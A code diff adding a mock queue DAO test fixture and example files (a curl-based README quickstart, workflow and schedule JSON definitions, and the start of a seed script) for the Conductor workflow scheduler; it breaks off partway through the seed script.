b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/MockQueueDao.java @@ -0,0 +1,168 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import java.time.Duration; +import java.util.*; + +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.dao.QueueDAO; + +public class MockQueueDao implements QueueDAO { + + Map>> dummyQueues = new HashMap<>(); + Map counters = new HashMap<>(); + + public void clearCounter() { + counters.clear(); + } + + public int getCounter(String apiName) { + if (counters.containsKey(apiName)) { + return counters.get(apiName); + } + return 0; + } + + @Override + public void push(String queueName, String id, long offsetTimeInSecond) { + dummyQueues.putIfAbsent(queueName, new HashMap<>()); + dummyQueues.get(queueName).putIfAbsent(id, new HashMap<>()); + dummyQueues.get(queueName).get(id).put("offsetTimeInSecond", offsetTimeInSecond); + incrementCounter("push"); + } + + private void incrementCounter(String apiName) { + counters.put(apiName, counters.getOrDefault(apiName, 0) + 1); + } + + @Override + public void push(String queueName, String id, int priority, long offsetTimeInSecond) { + dummyQueues.putIfAbsent(queueName, new HashMap<>()); + dummyQueues.get(queueName).putIfAbsent(id, new HashMap<>()); + dummyQueues.get(queueName).get(id).put("priority", priority); + dummyQueues.get(queueName).get(id).put("offsetTimeInSecond", offsetTimeInSecond); + incrementCounter("pushWithPriority"); + } + + @Override + public void push(String queueName, String id, int priority, Duration offsetTime) { + dummyQueues.putIfAbsent(queueName, new HashMap<>()); + dummyQueues.get(queueName).putIfAbsent(id, new HashMap<>()); + dummyQueues.get(queueName).get(id).put("priority", priority); + dummyQueues.get(queueName).get(id).put("offsetTimeInSecond", offsetTime.getSeconds()); + dummyQueues.get(queueName).get(id).put("offsetTimeInMs", offsetTime.toMillis()); + incrementCounter("pushWithPriority"); + } + + @Override + public void push(String queueName, List messages) { + throw new UnsupportedOperationException("not implemented"); + } + + @Override + public boolean pushIfNotExists(String queueName, String id, long offsetTimeInSecond) { + incrementCounter("pushIfNotExists"); + dummyQueues.putIfAbsent(queueName, new HashMap<>()); + if (!dummyQueues.get(queueName).containsKey(id)) { + dummyQueues.get(queueName).putIfAbsent(id, new HashMap<>()); + dummyQueues.get(queueName).get(id).put("offsetTimeInSecond", offsetTimeInSecond); + return true; + } + return false; + } + + @Override + public boolean pushIfNotExists( + String queueName, String id, int priority, long offsetTimeInSecond) { + incrementCounter("pushIfNotExistsWithPriority"); + dummyQueues.putIfAbsent(queueName, new HashMap<>()); + if (!dummyQueues.get(queueName).containsKey(id)) { + dummyQueues.get(queueName).putIfAbsent(id, new HashMap<>()); + dummyQueues.get(queueName).get(id).put("priority", priority); + dummyQueues.get(queueName).get(id).put("offsetTimeInSecond", offsetTimeInSecond); + return true; + } + return false; + } + + @Override + public List pop(String queueName, int count, int timeout) { + incrementCounter("pop-" + queueName); + List messages = new ArrayList<>(); + Set keys = dummyQueues.getOrDefault(queueName, Collections.emptyMap()).keySet(); + if (keys.size() > 0) { + messages.add(keys.iterator().next()); + } + return messages; + } + + @Override + public List pollMessages(String queueName, int count, int timeout) { + throw new UnsupportedOperationException("not implemented"); + } + + @Override + public void remove(String queueName, String messageId) { + Map> q = dummyQueues.get(queueName); + if (q == null) { + return; + } + q.remove(messageId); + } + + @Override + public int getSize(String queueName) { + throw new UnsupportedOperationException("not implemented"); + } + + @Override + public boolean ack(String queueName, String messageId) { + incrementCounter("ack"); + dummyQueues.putIfAbsent(queueName, new HashMap<>()); + if (dummyQueues.get(queueName).containsKey(messageId)) { + dummyQueues.get(queueName).remove(messageId); + return true; + } + return false; + } + + @Override + public boolean setUnackTimeout(String queueName, String messageId, long unackTimeout) { + throw new UnsupportedOperationException("not implemented"); + } + + @Override + public void flush(String queueName) { + throw new UnsupportedOperationException("not implemented"); + } + + @Override + public Map queuesDetail() { + throw new UnsupportedOperationException("not implemented"); + } + + @Override + public Map>> queuesDetailVerbose() { + throw new UnsupportedOperationException("not implemented"); + } + + @Override + public boolean resetOffsetTime(String queueName, String id) { + throw new UnsupportedOperationException("not implemented"); + } + + public void clearData() { + dummyQueues.clear(); + } +} diff --git a/scheduler/examples/README.md b/scheduler/examples/README.md new file mode 100644 index 0000000..ca7b91d --- /dev/null +++ b/scheduler/examples/README.md @@ -0,0 +1,374 @@ +# Workflow Scheduler — Quickstart + +This guide walks through the full lifecycle of a scheduled workflow using `curl`. +All examples assume Conductor is running locally on port 8080. + +--- + +## Prerequisites + +- Conductor running with a scheduler-compatible persistence backend + (`conductor-scheduler-postgres-persistence`, `conductor-scheduler-mysql-persistence`, etc.) +- `conductor.scheduler.enabled=true` (default) +- The `http-task` worker available (built-in for HTTP tasks; swap for `SIMPLE` if needed) + +--- + +## Step 1 — Register the workflow + +```bash +curl -s -X POST http://localhost:8080/api/metadata/workflow \ + -H "Content-Type: application/json" \ + -d @daily-report-workflow.json +``` + +--- + +## Step 2 — Create a schedule + +`every-minute-schedule.json` fires every minute — useful for seeing results quickly. +Swap in `daily-report-schedule.json` for a realistic weekday 9 AM (New York) schedule. + +```bash +curl -s -X POST http://localhost:8080/api/scheduler/schedules \ + -H "Content-Type: application/json" \ + -d @every-minute-schedule.json | jq . +``` + +Expected response: +```json +{ + "name": "every-minute-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "paused": false, + "nextRunTime": 1708300860000 +} +``` + +--- + +## Step 3 — Preview next execution times + +```bash +curl -s "http://localhost:8080/api/scheduler/nextFewSchedules?cronExpression=0+*+*+*+*+*&limit=5" \ + | jq '[.[] | (. / 1000 | todate)]' +``` + +--- + +## Step 4 — Check execution history + +After a minute or two, executions will appear: + +```bash +curl -s "http://localhost:8080/api/scheduler/search/executions?freeText=every-minute-demo-schedule&size=5" \ + | jq '.results[] | {state, workflowId, scheduledTime}' +``` + +Expected output: +```json +{ "state": "EXECUTED", "workflowId": "abc123...", "scheduledTime": 1708300860000 } +{ "state": "EXECUTED", "workflowId": "def456...", "scheduledTime": 1708300800000 } +``` + +--- + +## Step 5 — Pause the schedule + +```bash +curl -s "http://localhost:8080/api/scheduler/schedules/every-minute-demo-schedule/pause?reason=testing+pause" +``` + +Verify it's paused: +```bash +curl -s http://localhost:8080/api/scheduler/schedules/every-minute-demo-schedule | jq '{paused, pausedReason}' +``` + +--- + +## Step 6 — Resume the schedule + +```bash +curl -s http://localhost:8080/api/scheduler/schedules/every-minute-demo-schedule/resume +``` + +--- + +## Step 7 — List all schedules + +```bash +curl -s http://localhost:8080/api/scheduler/schedules | jq '[.[] | {name, cronExpression, paused, nextRunTime}]' +``` + +Filter by workflow name: +```bash +curl -s "http://localhost:8080/api/scheduler/schedules?workflowName=daily_report_workflow" | jq . +``` + +--- + +## Step 8 — Delete the schedule + +```bash +curl -s -X DELETE http://localhost:8080/api/scheduler/schedules/every-minute-demo-schedule +``` + +--- + +## API Reference + +| Method | Path | Description | +|----------|--------------------------------------------------------|------------------------------------------------| +| `POST` | `/api/scheduler/schedules` | Create or update a schedule | +| `GET` | `/api/scheduler/schedules` | List all (optional `?workflowName=` filter) | +| `GET` | `/api/scheduler/schedules/search` | Search schedules (filter by name, workflow, paused) | +| `GET` | `/api/scheduler/schedules/{name}` | Get a schedule by name | +| `DELETE` | `/api/scheduler/schedules/{name}` | Delete a schedule | +| `GET` | `/api/scheduler/schedules/{name}/pause` | Pause (optional `?reason=`) | +| `GET` | `/api/scheduler/schedules/{name}/resume` | Resume | +| `GET` | `/api/scheduler/nextFewSchedules` | Preview next N times (`?cronExpression=&limit=5`) | +| `GET` | `/api/scheduler/search/executions` | Search execution history (`?freeText=&size=100`) | + +--- + +## Cron expression format + +The scheduler uses **6-field Spring cron** (second-level precision): + +``` +┌─────────────── second (0-59) +│ ┌───────────── minute (0-59) +│ │ ┌─────────── hour (0-23) +│ │ │ ┌───────── day of month (1-31) +│ │ │ │ ┌─────── month (1-12 or JAN-DEC) +│ │ │ │ │ ┌───── day of week (0-7 or MON-SUN) +│ │ │ │ │ │ +* * * * * * +``` + +| Expression | Meaning | +|-------------------------------|----------------------------------| +| `0 * * * * *` | Every minute | +| `0 0 9 * * MON-FRI` | Weekdays at 9:00 AM | +| `0 0 0 1 * *` | First day of every month | +| `0 0/30 9-17 * * MON-FRI` | Every 30 min, business hours | + +--- + +## Configuration + +```yaml +conductor: + scheduler: + enabled: true # default: true + polling-interval: 1000 # ms between polls; default: 100 + polling-thread-count: 1 # default: 1 + poll-batch-size: 5 # schedules processed per cycle; default: 5 + scheduler-time-zone: UTC # default: UTC + archival-max-records: 5 # history rows to keep per schedule; default: 5 + archival-max-record-threshold: 10 # prune when over threshold; default: 10 + jitter-max-ms: 0 # dispatch jitter per schedule; default: 0 (disabled) +``` + +> **Tip:** For deployments with many schedules firing at the same cron tick, increase +> `poll-batch-size` to match expected fanout and set `jitter-max-ms` to a small value +> (e.g. 200) to smooth burst load on the DB and executor pool. + +--- + +## Example Scenarios + +Eight verified scenarios covering common patterns. Each has a workflow definition and a +matching schedule definition. All were tested live. + +### 1. Basic (`every-minute-schedule.json` + `daily-report-workflow.json`) + +Fires every minute, fetches a sample JSON dataset via HTTP. Good first test after setup. + +**Register and run:** +```bash +curl -s -X POST http://localhost:8080/api/metadata/workflow \ + -H "Content-Type: application/json" -d @daily-report-workflow.json + +curl -s -X POST http://localhost:8080/api/scheduler/schedules \ + -H "Content-Type: application/json" -d @every-minute-schedule.json +``` + +--- + +### 2. Catchup mode (`catchup-schedule.json` + `catchup-workflow.json`) + +Sets `runCatchupScheduleInstances: true`. If the scheduler is offline for N minutes, it fires +once per missed slot on restart — stepping slot-by-slot rather than jumping to the current time. + +```bash +curl -s -X POST http://localhost:8080/api/metadata/workflow \ + -H "Content-Type: application/json" -d @catchup-workflow.json + +curl -s -X POST http://localhost:8080/api/scheduler/schedules \ + -H "Content-Type: application/json" -d @catchup-schedule.json +``` + +To observe catchup: stop Conductor for a few minutes, then restart and watch executions fire +in sequence for the missed slots. + +--- + +### 3. Bounded schedule (`bounded-schedule-template.json` + `bounded-workflow.json`) + +Uses `scheduleStartTime` / `scheduleEndTime` (epoch ms) to confine execution to a window. +The template has `__START_MS__` / `__END_MS__` placeholders — populate with `sed`: + +```bash +curl -s -X POST http://localhost:8080/api/metadata/workflow \ + -H "Content-Type: application/json" -d @bounded-workflow.json + +NOW=$(python3 -c "import time; print(int(time.time()*1000))") +END=$((NOW + 300000)) # 5-minute window +sed "s/__START_MS__/$NOW/; s/__END_MS__/$END/" bounded-schedule-template.json | \ + curl -s -X POST http://localhost:8080/api/scheduler/schedules \ + -H "Content-Type: application/json" -d @- +``` + +--- + +### 4. Multi-step FORK/JOIN (`multistep-schedule.json` + `multistep-workflow.json`) + +Two parallel HTTP calls (UTC time + America/New_York time), joined into one output map. + +> **Gotcha:** Use a literal `/` in timezone query params — not `%2F`. Conductor's HTTP task +> passes percent-encoded slashes literally, which the remote API rejects as an invalid timezone. + +```bash +curl -s -X POST http://localhost:8080/api/metadata/workflow \ + -H "Content-Type: application/json" -d @multistep-workflow.json + +curl -s -X POST http://localhost:8080/api/scheduler/schedules \ + -H "Content-Type: application/json" -d @multistep-schedule.json +``` + +--- + +### 5. Failure scenario (`retry-schedule.json` + `retry-workflow.json`) + +Workflow always fails (404). Confirms the scheduler fires every minute regardless of prior +outcome — each tick produces a new `EXECUTED` record in scheduler history even as the workflow +itself records `FAILED`. + +```bash +curl -s -X POST http://localhost:8080/api/metadata/workflow \ + -H "Content-Type: application/json" -d @retry-workflow.json + +curl -s -X POST http://localhost:8080/api/scheduler/schedules \ + -H "Content-Type: application/json" -d @retry-schedule.json +``` + +--- + +### 6. Concurrent execution (`concurrent-schedule.json` + `concurrent-workflow.json`) + +A 90-second WAIT task fired every 60 seconds. OSS Conductor has no built-in concurrent-execution +guard, so instances stack up. Demonstrates the behavior users need to design around. + +> **Gotcha:** WAIT task duration must be `"90s"` / `"2m"` / `"1h"` — not ISO-8601 `PT90S`. +> Conductor's `DateTimeUtils.parseDuration` uses its own regex, not the Java Duration parser. + +```bash +curl -s -X POST http://localhost:8080/api/metadata/workflow \ + -H "Content-Type: application/json" -d @concurrent-workflow.json + +curl -s -X POST http://localhost:8080/api/scheduler/schedules \ + -H "Content-Type: application/json" -d @concurrent-schedule.json +``` + +--- + +### 7. Input parameterization (`input-param-schedule.json` + `input-param-workflow.json`) + +Every triggered workflow automatically receives `_scheduledTime` and `_executedTime` (epoch ms) +injected by the scheduler. Static keys from `startWorkflowRequest.input` are preserved. +An INLINE JavaScript task computes a 24-hour report window from `scheduledTime`. + +Sample output from a live run: +``` +scheduledAt: 2026-02-19T23:22:00.000Z ← exact cron slot +triggeredAt: 2026-02-19T23:22:00.837Z ← actual dispatch (~837ms poll overhead) +reportWindowStart: 2026-02-18T23:22:00.000Z +reportWindowEnd: 2026-02-19T23:22:00.000Z +``` + +```bash +curl -s -X POST http://localhost:8080/api/metadata/workflow \ + -H "Content-Type: application/json" -d @input-param-workflow.json + +curl -s -X POST http://localhost:8080/api/scheduler/schedules \ + -H "Content-Type: application/json" -d @input-param-schedule.json +``` + +--- + +### 8. DO_WHILE variant (`dowhile-schedule.json` + `dowhile-workflow.json`) + +Internally loops 3 times via DO_WHILE, fetching current time on each iteration. + +> **Gotcha:** DO_WHILE output is keyed by iteration number as a string (`"1"`, `"2"`, `"3"`), +> not by task reference name. Reference the last iteration's output via: +> `${poll_loop.output.3.fetch_current_time.response.body.dateTime}` + +```bash +curl -s -X POST http://localhost:8080/api/metadata/workflow \ + -H "Content-Type: application/json" -d @dowhile-workflow.json + +curl -s -X POST http://localhost:8080/api/scheduler/schedules \ + -H "Content-Type: application/json" -d @dowhile-schedule.json +``` + +--- + +## Concurrency / Load Test Scripts + +The `../scripts/` directory contains four scripts from live concurrency testing. +All require `curl`, `python3`, and a running Conductor instance. + +### test-09-concurrent-write.sh — simultaneous schedule registration + +Run on two machines at the same epoch second to verify UPSERT correctness: +```bash +# Both machines run this pointing at the same Conductor instance +./scripts/test-09-concurrent-write.sh http://localhost:8080 +``` + +### test-10-concurrent-resume.sh — simultaneous resume + +Verifies that a paused schedule resumed from two machines fires exactly once: +```bash +# Machine 1 (setup + fire) +./scripts/test-10-concurrent-resume.sh setup http://localhost:8080 +# Follow the printed instructions to run the fire command on both machines simultaneously +``` + +### test-11-thundering-herd.sh — N schedules at the same tick + +Registers N schedules all firing at `0 * * * * *`, then verifies each fires exactly once: +```bash +./scripts/test-11-thundering-herd.sh 50 http://localhost:8080 +``` + +> **Note:** Requires `poll-batch-size >= N` (or multiple poll cycles). With the default +> `poll-batch-size=5`, only 5 schedules fire per cycle. Increase it before running with N > 5. + +### test-12-load-blast.py — concurrent workflow submissions + +Blasts N `POST /api/workflow` requests simultaneously, reports latency percentiles: +```bash +# Single machine +python3 scripts/test-12-load-blast.py --url http://localhost:8080 --count 25 + +# Two machines synchronized to the same epoch second +TARGET=$(python3 -c "import time; print(int(time.time())+15)") +# Machine 1: +python3 scripts/test-12-load-blast.py --url http://localhost:8080 --count 25 --target $TARGET +# Machine 2: +python3 scripts/test-12-load-blast.py --url http://:8080 --count 25 --target $TARGET +``` diff --git a/scheduler/examples/bounded-schedule-template.json b/scheduler/examples/bounded-schedule-template.json new file mode 100644 index 0000000..0a446a9 --- /dev/null +++ b/scheduler/examples/bounded-schedule-template.json @@ -0,0 +1,13 @@ +{ + "name": "bounded-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "runCatchupScheduleInstances": false, + "scheduleStartTime": "__START_MS__", + "scheduleEndTime": "__END_MS__", + "startWorkflowRequest": { + "name": "bounded_demo_workflow", + "version": 1, + "input": {} + } +} diff --git a/scheduler/examples/bounded-workflow.json b/scheduler/examples/bounded-workflow.json new file mode 100644 index 0000000..9507b02 --- /dev/null +++ b/scheduler/examples/bounded-workflow.json @@ -0,0 +1,28 @@ +{ + "name": "bounded_demo_workflow", + "description": "Workflow used by the bounded-schedule demo. Fetches a world clock timestamp to show when it ran.", + "version": 1, + "tasks": [ + { + "name": "fetch_timestamp", + "taskReferenceName": "fetch_timestamp", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://timeapi.io/api/time/current/zone?timeZone=UTC", + "method": "GET", + "connectionTimeOut": 3000, + "readTimeOut": 3000 + } + } + } + ], + "outputParameters": { + "firedAt": "${fetch_timestamp.output.response.body.dateTime}" + }, + "schemaVersion": 2, + "restartable": true, + "ownerEmail": "demo@example.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 60 +} diff --git a/scheduler/examples/catchup-schedule.json b/scheduler/examples/catchup-schedule.json new file mode 100644 index 0000000..155ee82 --- /dev/null +++ b/scheduler/examples/catchup-schedule.json @@ -0,0 +1,12 @@ +{ + "name": "catchup-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "runCatchupScheduleInstances": true, + "paused": false, + "startWorkflowRequest": { + "name": "catchup_demo_workflow", + "version": 1, + "input": {} + } +} diff --git a/scheduler/examples/catchup-workflow.json b/scheduler/examples/catchup-workflow.json new file mode 100644 index 0000000..21c434e --- /dev/null +++ b/scheduler/examples/catchup-workflow.json @@ -0,0 +1,28 @@ +{ + "name": "catchup_demo_workflow", + "description": "Simple workflow used by the catchup-mode demo schedule. Logs the current timestamp so you can see each missed slot fire.", + "version": 1, + "tasks": [ + { + "name": "log_execution_time", + "taskReferenceName": "log_execution_time", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://timeapi.io/api/time/current/zone?timeZone=UTC", + "method": "GET", + "connectionTimeOut": 3000, + "readTimeOut": 3000 + } + } + } + ], + "outputParameters": { + "currentUtcTime": "${log_execution_time.output.response.body.dateTime}" + }, + "schemaVersion": 2, + "restartable": true, + "ownerEmail": "demo@example.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 60 +} diff --git a/scheduler/examples/concurrent-schedule.json b/scheduler/examples/concurrent-schedule.json new file mode 100644 index 0000000..bc69b10 --- /dev/null +++ b/scheduler/examples/concurrent-schedule.json @@ -0,0 +1,11 @@ +{ + "name": "concurrent-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "runCatchupScheduleInstances": false, + "startWorkflowRequest": { + "name": "concurrent_demo_workflow", + "version": 1, + "input": {} + } +} diff --git a/scheduler/examples/concurrent-workflow.json b/scheduler/examples/concurrent-workflow.json new file mode 100644 index 0000000..d545270 --- /dev/null +++ b/scheduler/examples/concurrent-workflow.json @@ -0,0 +1,50 @@ +{ + "name": "concurrent_demo_workflow", + "description": "Scheduled workflow that intentionally takes longer (90s) than the firing interval (60s). Demonstrates that OSS Conductor's scheduler does NOT prevent concurrent executions: each minute a new workflow starts even if the previous one is still running.", + "version": 1, + "tasks": [ + { + "name": "fetch_start_time", + "taskReferenceName": "fetch_start_time", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://timeapi.io/api/time/current/zone?timeZone=UTC", + "method": "GET", + "connectionTimeOut": 5000, + "readTimeOut": 5000 + } + } + }, + { + "name": "wait_90s", + "taskReferenceName": "wait_90s", + "type": "WAIT", + "inputParameters": { + "duration": "90s" + } + }, + { + "name": "fetch_end_time", + "taskReferenceName": "fetch_end_time", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://timeapi.io/api/time/current/zone?timeZone=UTC", + "method": "GET", + "connectionTimeOut": 5000, + "readTimeOut": 5000 + } + } + } + ], + "outputParameters": { + "startedAt": "${fetch_start_time.output.response.body.dateTime}", + "finishedAt": "${fetch_end_time.output.response.body.dateTime}" + }, + "schemaVersion": 2, + "restartable": true, + "ownerEmail": "demo@example.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 300 +} diff --git a/scheduler/examples/daily-report-schedule.json b/scheduler/examples/daily-report-schedule.json new file mode 100644 index 0000000..4dfac0d --- /dev/null +++ b/scheduler/examples/daily-report-schedule.json @@ -0,0 +1,15 @@ +{ + "name": "daily-report-schedule", + "cronExpression": "0 0 9 * * MON-FRI", + "zoneId": "America/New_York", + "startWorkflowRequest": { + "name": "daily_report_workflow", + "version": 1, + "input": {}, + "correlationId": "daily-report-${scheduledTime}" + }, + "scheduleStartTime": 0, + "scheduleEndTime": 0, + "runCatchupScheduleInstances": false, + "paused": false +} diff --git a/scheduler/examples/daily-report-workflow.json b/scheduler/examples/daily-report-workflow.json new file mode 100644 index 0000000..e03122f --- /dev/null +++ b/scheduler/examples/daily-report-workflow.json @@ -0,0 +1,29 @@ +{ + "name": "daily_report_workflow", + "description": "Fetches a sample dataset on a schedule. Used as a scheduler demo.", + "version": 1, + "tasks": [ + { + "name": "fetch_report_data", + "taskReferenceName": "fetch_report_data_ref", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://jsonplaceholder.typicode.com/todos?userId=1", + "method": "GET", + "connectionTimeOut": 3000, + "readTimeOut": 3000 + } + } + } + ], + "outputParameters": { + "statusCode": "${fetch_report_data_ref.output.response.statusCode}", + "itemCount": "${fetch_report_data_ref.output.response.body.length()}" + }, + "schemaVersion": 2, + "restartable": true, + "ownerEmail": "demo@example.com", + "timeoutPolicy": "TIME_OUT_WF", + "timeoutSeconds": 120 +} diff --git a/scheduler/examples/dowhile-schedule.json b/scheduler/examples/dowhile-schedule.json new file mode 100644 index 0000000..eca66c2 --- /dev/null +++ b/scheduler/examples/dowhile-schedule.json @@ -0,0 +1,11 @@ +{ + "name": "dowhile-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "runCatchupScheduleInstances": false, + "startWorkflowRequest": { + "name": "dowhile_demo_workflow", + "version": 2, + "input": {} + } +} diff --git a/scheduler/examples/dowhile-workflow.json b/scheduler/examples/dowhile-workflow.json new file mode 100644 index 0000000..96354c3 --- /dev/null +++ b/scheduler/examples/dowhile-workflow.json @@ -0,0 +1,51 @@ +{ + "name": "dowhile_demo_workflow", + "description": "Scheduled workflow that uses DO_WHILE to poll timeapi.io 3 times, once per iteration. Demonstrates a scheduled workflow with internal looping — useful for retry patterns, polling until ready, or bounded sampling.", + "version": 2, + "tasks": [ + { + "name": "poll_loop", + "taskReferenceName": "poll_loop", + "type": "DO_WHILE", + "loopCondition": "if ($.iteration < 3) { true; } else { false; }", + "inputParameters": { + "iteration": "${poll_loop.output.iteration}" + }, + "loopOver": [ + { + "name": "fetch_current_time", + "taskReferenceName": "fetch_current_time", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://timeapi.io/api/time/current/zone?timeZone=UTC", + "method": "GET", + "connectionTimeOut": 5000, + "readTimeOut": 5000 + } + } + } + ] + }, + { + "name": "summarize", + "taskReferenceName": "summarize", + "type": "INLINE", + "inputParameters": { + "lastTime": "${poll_loop.output.3.fetch_current_time.response.body.dateTime}", + "totalIterations": "${poll_loop.output.iteration}", + "evaluatorType": "javascript", + "expression": "({ sampledAt: $.lastTime, iterations: $.totalIterations })" + } + } + ], + "outputParameters": { + "sampledAt": "${summarize.output.result.sampledAt}", + "iterations": "${summarize.output.result.iterations}" + }, + "schemaVersion": 2, + "restartable": true, + "ownerEmail": "demo@example.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 120 +} diff --git a/scheduler/examples/every-minute-schedule.json b/scheduler/examples/every-minute-schedule.json new file mode 100644 index 0000000..9eef130 --- /dev/null +++ b/scheduler/examples/every-minute-schedule.json @@ -0,0 +1,13 @@ +{ + "name": "every-minute-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "startWorkflowRequest": { + "name": "daily_report_workflow", + "version": 1, + "input": {}, + "correlationId": "demo-${scheduledTime}" + }, + "runCatchupScheduleInstances": false, + "paused": false +} diff --git a/scheduler/examples/input-param-schedule.json b/scheduler/examples/input-param-schedule.json new file mode 100644 index 0000000..51cd313 --- /dev/null +++ b/scheduler/examples/input-param-schedule.json @@ -0,0 +1,14 @@ +{ + "name": "input-param-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "runCatchupScheduleInstances": false, + "startWorkflowRequest": { + "name": "input_param_demo_workflow", + "version": 1, + "input": { + "reportOwner": "platform-team", + "alertThreshold": 100 + } + } +} diff --git a/scheduler/examples/input-param-workflow.json b/scheduler/examples/input-param-workflow.json new file mode 100644 index 0000000..951b670 --- /dev/null +++ b/scheduler/examples/input-param-workflow.json @@ -0,0 +1,29 @@ +{ + "name": "input_param_demo_workflow", + "description": "Demonstrates that the scheduler injects scheduledTime and executionTime into every workflow's input automatically. Uses an INLINE task to compute a 24-hour reporting window ending at the scheduled time, suitable for nightly report generation patterns.", + "version": 1, + "tasks": [ + { + "name": "compute_report_window", + "taskReferenceName": "compute_report_window", + "type": "INLINE", + "inputParameters": { + "scheduledTime": "${workflow.input._scheduledTime}", + "executionTime": "${workflow.input._executedTime}", + "evaluatorType": "javascript", + "expression": "function toISO(ms) { return new Date(ms).toISOString(); } ({ reportWindowStart: toISO($.scheduledTime - 86400000), reportWindowEnd: toISO($.scheduledTime), scheduledAt: toISO($.scheduledTime), triggeredAt: toISO($.executionTime) })" + } + } + ], + "outputParameters": { + "reportWindowStart": "${compute_report_window.output.result.reportWindowStart}", + "reportWindowEnd": "${compute_report_window.output.result.reportWindowEnd}", + "scheduledAt": "${compute_report_window.output.result.scheduledAt}", + "triggeredAt": "${compute_report_window.output.result.triggeredAt}" + }, + "schemaVersion": 2, + "restartable": true, + "ownerEmail": "demo@example.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 30 +} diff --git a/scheduler/examples/multistep-schedule.json b/scheduler/examples/multistep-schedule.json new file mode 100644 index 0000000..364b15e --- /dev/null +++ b/scheduler/examples/multistep-schedule.json @@ -0,0 +1,11 @@ +{ + "name": "multistep-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "runCatchupScheduleInstances": false, + "startWorkflowRequest": { + "name": "multistep_demo_workflow", + "version": 3, + "input": {} + } +} diff --git a/scheduler/examples/multistep-workflow.json b/scheduler/examples/multistep-workflow.json new file mode 100644 index 0000000..3637b2d --- /dev/null +++ b/scheduler/examples/multistep-workflow.json @@ -0,0 +1,59 @@ +{ + "name": "multistep_demo_workflow", + "description": "Multi-step workflow triggered by a schedule. Uses FORK_JOIN to fetch the current time in two timezones in parallel, then JOIN to collect results.", + "version": 3, + "tasks": [ + { + "name": "fork_parallel_calls", + "taskReferenceName": "fork_parallel_calls", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "fetch_utc_time", + "taskReferenceName": "fetch_utc_time", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://timeapi.io/api/time/current/zone?timeZone=UTC", + "method": "GET", + "connectionTimeOut": 5000, + "readTimeOut": 5000 + } + } + } + ], + [ + { + "name": "fetch_ny_time", + "taskReferenceName": "fetch_ny_time", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://timeapi.io/api/time/current/zone?timeZone=America/New_York", + "method": "GET", + "connectionTimeOut": 5000, + "readTimeOut": 5000 + } + } + } + ] + ] + }, + { + "name": "join_results", + "taskReferenceName": "join_results", + "type": "JOIN", + "joinOn": ["fetch_utc_time", "fetch_ny_time"] + } + ], + "outputParameters": { + "utcTime": "${fetch_utc_time.output.response.body.dateTime}", + "newYorkTime": "${fetch_ny_time.output.response.body.dateTime}" + }, + "schemaVersion": 2, + "restartable": true, + "ownerEmail": "demo@example.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 60 +} diff --git a/scheduler/examples/retry-schedule.json b/scheduler/examples/retry-schedule.json new file mode 100644 index 0000000..1c946c7 --- /dev/null +++ b/scheduler/examples/retry-schedule.json @@ -0,0 +1,11 @@ +{ + "name": "retry-demo-schedule", + "cronExpression": "0 * * * * *", + "zoneId": "UTC", + "runCatchupScheduleInstances": false, + "startWorkflowRequest": { + "name": "retry_demo_workflow", + "version": 1, + "input": {} + } +} diff --git a/scheduler/examples/retry-workflow.json b/scheduler/examples/retry-workflow.json new file mode 100644 index 0000000..ca15579 --- /dev/null +++ b/scheduler/examples/retry-workflow.json @@ -0,0 +1,30 @@ +{ + "name": "retry_demo_workflow", + "description": "Scheduled workflow that calls a non-existent API endpoint to produce a 404. Demonstrates how the scheduler records a new FAILED execution every firing interval, independent of prior failures.", + "version": 1, + "tasks": [ + { + "name": "call_failing_endpoint", + "taskReferenceName": "call_failing_endpoint", + "type": "HTTP", + "retryCount": 0, + "inputParameters": { + "http_request": { + "uri": "http://conductor-server:8080/api/workflow/00000000-0000-0000-0000-000000000000", + "method": "GET", + "connectionTimeOut": 5000, + "readTimeOut": 5000 + } + } + } + ], + "outputParameters": { + "statusCode": "${call_failing_endpoint.output.response.statusCode}", + "body": "${call_failing_endpoint.output.response.body}" + }, + "schemaVersion": 2, + "restartable": true, + "ownerEmail": "demo@example.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 60 +} diff --git a/scheduler/examples/seed.sh b/scheduler/examples/seed.sh new file mode 100644 index 0000000..b900163 --- /dev/null +++ b/scheduler/examples/seed.sh @@ -0,0 +1,32 @@ +#!/bin/sh +# Seed script for the Conductor Scheduler Demo. +# Registers the sample workflow and a 1-minute demo schedule. +# Runs once inside the conductor-seed container after Conductor is healthy. + +set -e + +BASE_URL="http://conductor-server:8080" + +echo "==> Registering daily_report_workflow..." +curl -sf -X POST 